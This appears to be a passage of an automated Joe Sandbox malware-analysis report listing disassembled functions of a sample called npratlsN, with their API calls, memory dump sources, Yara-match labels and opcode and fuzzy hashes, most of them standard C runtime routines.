                                                                                                                                                          • Source File: 0000000A.00000002.3474779962.000000002F680000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F680000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f680000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 15af809a0ffb0e0e1884aa17b8214fe293f4f095438cdd91f7ee0e9f0f163029
                                                                                                                                                          • Instruction ID: 5b6053d8cedd1828a56ef08893ee3134f190dbb012f57dd776f1f3b1173b273c
                                                                                                                                                          • Opcode Fuzzy Hash: 15af809a0ffb0e0e1884aa17b8214fe293f4f095438cdd91f7ee0e9f0f163029
                                                                                                                                                          • Instruction Fuzzy Hash: B4C19E74E00218CFDB14DFA5C994B9DBBB2FF89304F2081A9D809AB365DB759A85CF50
                                                                                                                                                          Function 2F68E0F0 Relevance: 1.5, Strings: 1, Instructions: 268COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474779962.000000002F680000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F680000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f680000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 3dac95bdbb4bb95df751645444c409ab9d7e185065fb07efe4359067205b4940
                                                                                                                                                          • Instruction ID: fdd47c0cb246487dcdf45dceb4f541c80e420c37e8184e0676fceee6186039fa
                                                                                                                                                          • Opcode Fuzzy Hash: 3dac95bdbb4bb95df751645444c409ab9d7e185065fb07efe4359067205b4940
                                                                                                                                                          • Instruction Fuzzy Hash: A0C19D74E00218CFDB14DFA5C994B9DBBB2EF89304F2081A9D809AB365DB759E85CF50
                                                                                                                                                          Function 2F68DC98 Relevance: 1.5, Strings: 1, Instructions: 268COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474779962.000000002F680000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F680000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f680000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 4f326eeabce3918194a9830eaea136cc7cedafd36653242f155d3d9ff29bd3f5
                                                                                                                                                          • Instruction ID: 8d0b272d47b49d73351be016c6e88bce3ef5ed62af85723828db2c2013dc83e1
                                                                                                                                                          • Opcode Fuzzy Hash: 4f326eeabce3918194a9830eaea136cc7cedafd36653242f155d3d9ff29bd3f5
                                                                                                                                                          • Instruction Fuzzy Hash: B1C1AD74E00218CFDB54DFA5C984B9DBBB2EF89304F2081A9D809AB365DB759E85CF50
                                                                                                                                                          Function 2F700960 Relevance: 1.5, Strings: 1, Instructions: 268COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474981544.000000002F700000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F700000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f700000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: bd6c3a56ec7fccb9da7c9062075d0c53f356ee19eeb5d87645b726f3151bf97c
                                                                                                                                                          • Instruction ID: 25d9d10ccc73b5ceb2c7180adcef03dfe9108d2ef794727cbc6d577e46ce6b97
                                                                                                                                                          • Opcode Fuzzy Hash: bd6c3a56ec7fccb9da7c9062075d0c53f356ee19eeb5d87645b726f3151bf97c
                                                                                                                                                          • Instruction Fuzzy Hash: 7BC1AF74E00218CFDB14DFA5C984B9DBBB2AF89304F2081A9D809AB365DB759E85CF50
                                                                                                                                                          Function 004123F1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • SetUnhandledExceptionFilter.KERNEL32(Function_000123AF), ref: 004123F6
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: ExceptionFilterUnhandled
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 3192549508-0
                                                                                                                                                          • Opcode ID: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
                                                                                                                                                          • Instruction ID: 17be93bd3878235df00445469c4c747c8dbd7a907b9f456768254b9c32cbcc1b
                                                                                                                                                          • Opcode Fuzzy Hash: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
                                                                                                                                                          • Instruction Fuzzy Hash: CA900270661144D7865017705D0968669949B4C6427618471653DD4098DBAA40505569
                                                                                                                                                          Function 2FE27A91 Relevance: .1, Instructions: 98COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475770930.000000002FE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 2FE20000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2fe20000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: 00918b42dce4137bee73a6ba773ab3bc38c0a99bfa3fe2fcf27f5e81572c6934
                                                                                                                                                          • Instruction ID: c3feb877f5608ea874b275ea61f34891712b995802ab36689b1277f716756dae
                                                                                                                                                          • Opcode Fuzzy Hash: 00918b42dce4137bee73a6ba773ab3bc38c0a99bfa3fe2fcf27f5e81572c6934
                                                                                                                                                          • Instruction Fuzzy Hash: ED41ABB5D052489FCB01DFA9E981ADDFBF1AF49314F14906AE908BB220D334AA45CF55
                                                                                                                                                          Function 2FE24C9C Relevance: .1, Instructions: 88COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475770930.000000002FE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 2FE20000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2fe20000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: f8fe80303e4c5ae35c386e324d4c6effba4ef95ffc0eaa58ef70caa33844fd11
                                                                                                                                                          • Instruction ID: 936b7f111be5a2eb3c294d25526deca38602c697169866367864a7070052d993
                                                                                                                                                          • Opcode Fuzzy Hash: f8fe80303e4c5ae35c386e324d4c6effba4ef95ffc0eaa58ef70caa33844fd11
                                                                                                                                                          • Instruction Fuzzy Hash: 52319BB5D0521C9FCB10CFA9D985ADEFBF1AB49310F10902AE518B7310D374A945CF54
                                                                                                                                                          Function 2FE27AC0 Relevance: .1, Instructions: 87COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475770930.000000002FE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 2FE20000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2fe20000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: d7c11cc99181e867fd49332145187e5718901dd7325792dad9f9cef036ada5a3
                                                                                                                                                          • Instruction ID: 71ba708dcf9540e1ee487c087469694144c96d68ce8c5d98778cc34d695f80f6
                                                                                                                                                          • Opcode Fuzzy Hash: d7c11cc99181e867fd49332145187e5718901dd7325792dad9f9cef036ada5a3
                                                                                                                                                          • Instruction Fuzzy Hash: 233199B4D012589FCB10DFA9E984ADEFBF1AB49314F24902AE518BB310D334A946CF58
                                                                                                                                                          Function 00417081 Relevance: 31.8, APIs: 21, Instructions: 340COMMONLIBRARYCODE
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
                                                                                                                                                          • GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,29A718D8), ref: 004170C5
                                                                                                                                                          • MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
                                                                                                                                                          • _malloc.LIBCMT ref: 0041718A
                                                                                                                                                          • MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
                                                                                                                                                          • LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
                                                                                                                                                          • LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
                                                                                                                                                          • _malloc.LIBCMT ref: 0041724C
                                                                                                                                                          • LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
                                                                                                                                                          • WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
                                                                                                                                                          • __freea.LIBCMT ref: 004172A4
                                                                                                                                                          • __freea.LIBCMT ref: 004172AD
                                                                                                                                                          • ___ansicp.LIBCMT ref: 004172DE
                                                                                                                                                          • ___convertcp.LIBCMT ref: 00417309
                                                                                                                                                          • LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
                                                                                                                                                          • _malloc.LIBCMT ref: 00417362
                                                                                                                                                          • _memset.LIBCMT ref: 00417384
                                                                                                                                                          • LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
                                                                                                                                                          • ___convertcp.LIBCMT ref: 004173BA
                                                                                                                                                          • __freea.LIBCMT ref: 004173CF
                                                                                                                                                          • LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 3809854901-0
                                                                                                                                                          • Opcode ID: 3d09e5343aa18fab3ca4e2e74db44cf1cccdb49efdd84c094ede33f31d65ba6e
                                                                                                                                                          • Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
                                                                                                                                                          • Opcode Fuzzy Hash: 3d09e5343aa18fab3ca4e2e74db44cf1cccdb49efdd84c094ede33f31d65ba6e
                                                                                                                                                          • Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98
                                                                                                                                                          Function 004057B0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • _malloc.LIBCMT ref: 004057DE
                                                                                                                                                            • Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
                                                                                                                                                            • Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
                                                                                                                                                            • Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4
                                                                                                                                                          • _malloc.LIBCMT ref: 00405842
                                                                                                                                                          • _malloc.LIBCMT ref: 00405906
                                                                                                                                                          • _malloc.LIBCMT ref: 00405930
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: _malloc$AllocateHeap
                                                                                                                                                          • String ID: 1.2.3
                                                                                                                                                          • API String ID: 680241177-2310465506
                                                                                                                                                          • Opcode ID: 1371ffb49ce3b8dee1113081a69af0fad64233f45308895947edc3c59a7df708
                                                                                                                                                          • Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
                                                                                                                                                          • Opcode Fuzzy Hash: 1371ffb49ce3b8dee1113081a69af0fad64233f45308895947edc3c59a7df708
                                                                                                                                                          • Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A
                                                                                                                                                          Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 3886058894-0
                                                                                                                                                          • Opcode ID: bd76f0579c09bb0a6f952e3feb4c94488d7cfab1bd6474dd60967b9cc6db7677
                                                                                                                                                          • Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
                                                                                                                                                          • Opcode Fuzzy Hash: bd76f0579c09bb0a6f952e3feb4c94488d7cfab1bd6474dd60967b9cc6db7677
                                                                                                                                                          • Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD
                                                                                                                                                          Function 004017E0 Relevance: 10.6, APIs: 7, Instructions: 50COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • EntryPoint.NPRATLSN(80070057), ref: 004017EE
                                                                                                                                                            • Part of subcall function 00401030: RaiseException.KERNEL32(-0000000113D97C15,00000001,00000000,00000000,00000015,2C2D8410), ref: 0040101C
                                                                                                                                                            • Part of subcall function 00401030: GetLastError.KERNEL32 ref: 00401030
                                                                                                                                                          • EntryPoint.NPRATLSN(80070057), ref: 00401800
                                                                                                                                                          • EntryPoint.NPRATLSN(80070057), ref: 00401813
                                                                                                                                                          • __recalloc.LIBCMT ref: 00401828
                                                                                                                                                          • EntryPoint.NPRATLSN(8007000E), ref: 00401839
                                                                                                                                                          • EntryPoint.NPRATLSN(8007000E), ref: 00401853
                                                                                                                                                          • _calloc.LIBCMT ref: 00401861
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: EntryPoint$ErrorExceptionLastRaise__recalloc_calloc
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 1721462702-0
                                                                                                                                                          • Opcode ID: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
                                                                                                                                                          • Instruction ID: 9b44c07ae4757e317c030d83b628f3e382e80143504443e1f3b2735d650bea0f
                                                                                                                                                          • Opcode Fuzzy Hash: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
                                                                                                                                                          • Instruction Fuzzy Hash: AC018872500241EACA21BA229C06F1B7294DF90799F24893FF4C5762E2D63D9990D6EE
                                                                                                                                                          Function 00414738 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMONLIBRARYCODE
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • __getptd.LIBCMT ref: 00414744
                                                                                                                                                            • Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
                                                                                                                                                            • Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745
                                                                                                                                                          • __getptd.LIBCMT ref: 0041475B
                                                                                                                                                          • __amsg_exit.LIBCMT ref: 00414769
                                                                                                                                                          • __lock.LIBCMT ref: 00414779
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: __amsg_exit__getptd$__getptd_noexit__lock
                                                                                                                                                          • String ID: @.B
                                                                                                                                                          • API String ID: 3521780317-470711618
                                                                                                                                                          • Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
                                                                                                                                                          • Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
                                                                                                                                                          • Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
                                                                                                                                                          • Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D
                                                                                                                                                          Function 0040C73D Relevance: 7.6, APIs: 5, Instructions: 64COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • __lock_file.LIBCMT ref: 0040C6C8
                                                                                                                                                          • __fileno.LIBCMT ref: 0040C6D6
                                                                                                                                                          • __fileno.LIBCMT ref: 0040C6E2
                                                                                                                                                          • __fileno.LIBCMT ref: 0040C6EE
                                                                                                                                                          • __fileno.LIBCMT ref: 0040C6FE
                                                                                                                                                            • Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1
                                                                                                                                                            • Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 2805327698-0
                                                                                                                                                          • Opcode ID: 0562b983a982954f07d72bd2f01eb344b0d1ff129a9d588568d63b7b4b77f5f9
                                                                                                                                                          • Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
                                                                                                                                                          • Opcode Fuzzy Hash: 0562b983a982954f07d72bd2f01eb344b0d1ff129a9d588568d63b7b4b77f5f9
                                                                                                                                                          • Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D
                                                                                                                                                          Function 00413FCC Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • __getptd.LIBCMT ref: 00413FD8
                                                                                                                                                            • Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
                                                                                                                                                            • Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745
                                                                                                                                                          • __amsg_exit.LIBCMT ref: 00413FF8
                                                                                                                                                          • __lock.LIBCMT ref: 00414008
                                                                                                                                                          • InterlockedDecrement.KERNEL32(?), ref: 00414025
                                                                                                                                                          • InterlockedIncrement.KERNEL32(29A71678), ref: 00414050
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 4271482742-0
                                                                                                                                                          • Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
                                                                                                                                                          • Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
                                                                                                                                                          • Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
                                                                                                                                                          • Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD
                                                                                                                                                          Function 00413610 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: AddressHandleModuleProc
                                                                                                                                                          • String ID: IsProcessorFeaturePresent$KERNEL32
                                                                                                                                                          • API String ID: 1646373207-3105848591
                                                                                                                                                          • Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
                                                                                                                                                          • Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
                                                                                                                                                          • Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
                                                                                                                                                          • Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A
                                                                                                                                                          Function 0040C748 Relevance: 6.1, APIs: 4, Instructions: 148COMMONLIBRARYCODE
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • __fileno.LIBCMT ref: 0040C77C
                                                                                                                                                          • __locking.LIBCMT ref: 0040C791
                                                                                                                                                            • Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1
                                                                                                                                                            • Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: __decode_pointer__fileno__getptd_noexit__locking
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 2395185920-0
                                                                                                                                                          • Opcode ID: 0afeae9b27a86c2abe0b3397de8921379debd9150d07dd18b85413c6fc1de43d
                                                                                                                                                          • Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
                                                                                                                                                          • Opcode Fuzzy Hash: 0afeae9b27a86c2abe0b3397de8921379debd9150d07dd18b85413c6fc1de43d
                                                                                                                                                          • Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D
                                                                                                                                                          Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: _fseek_malloc_memset
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 208892515-0
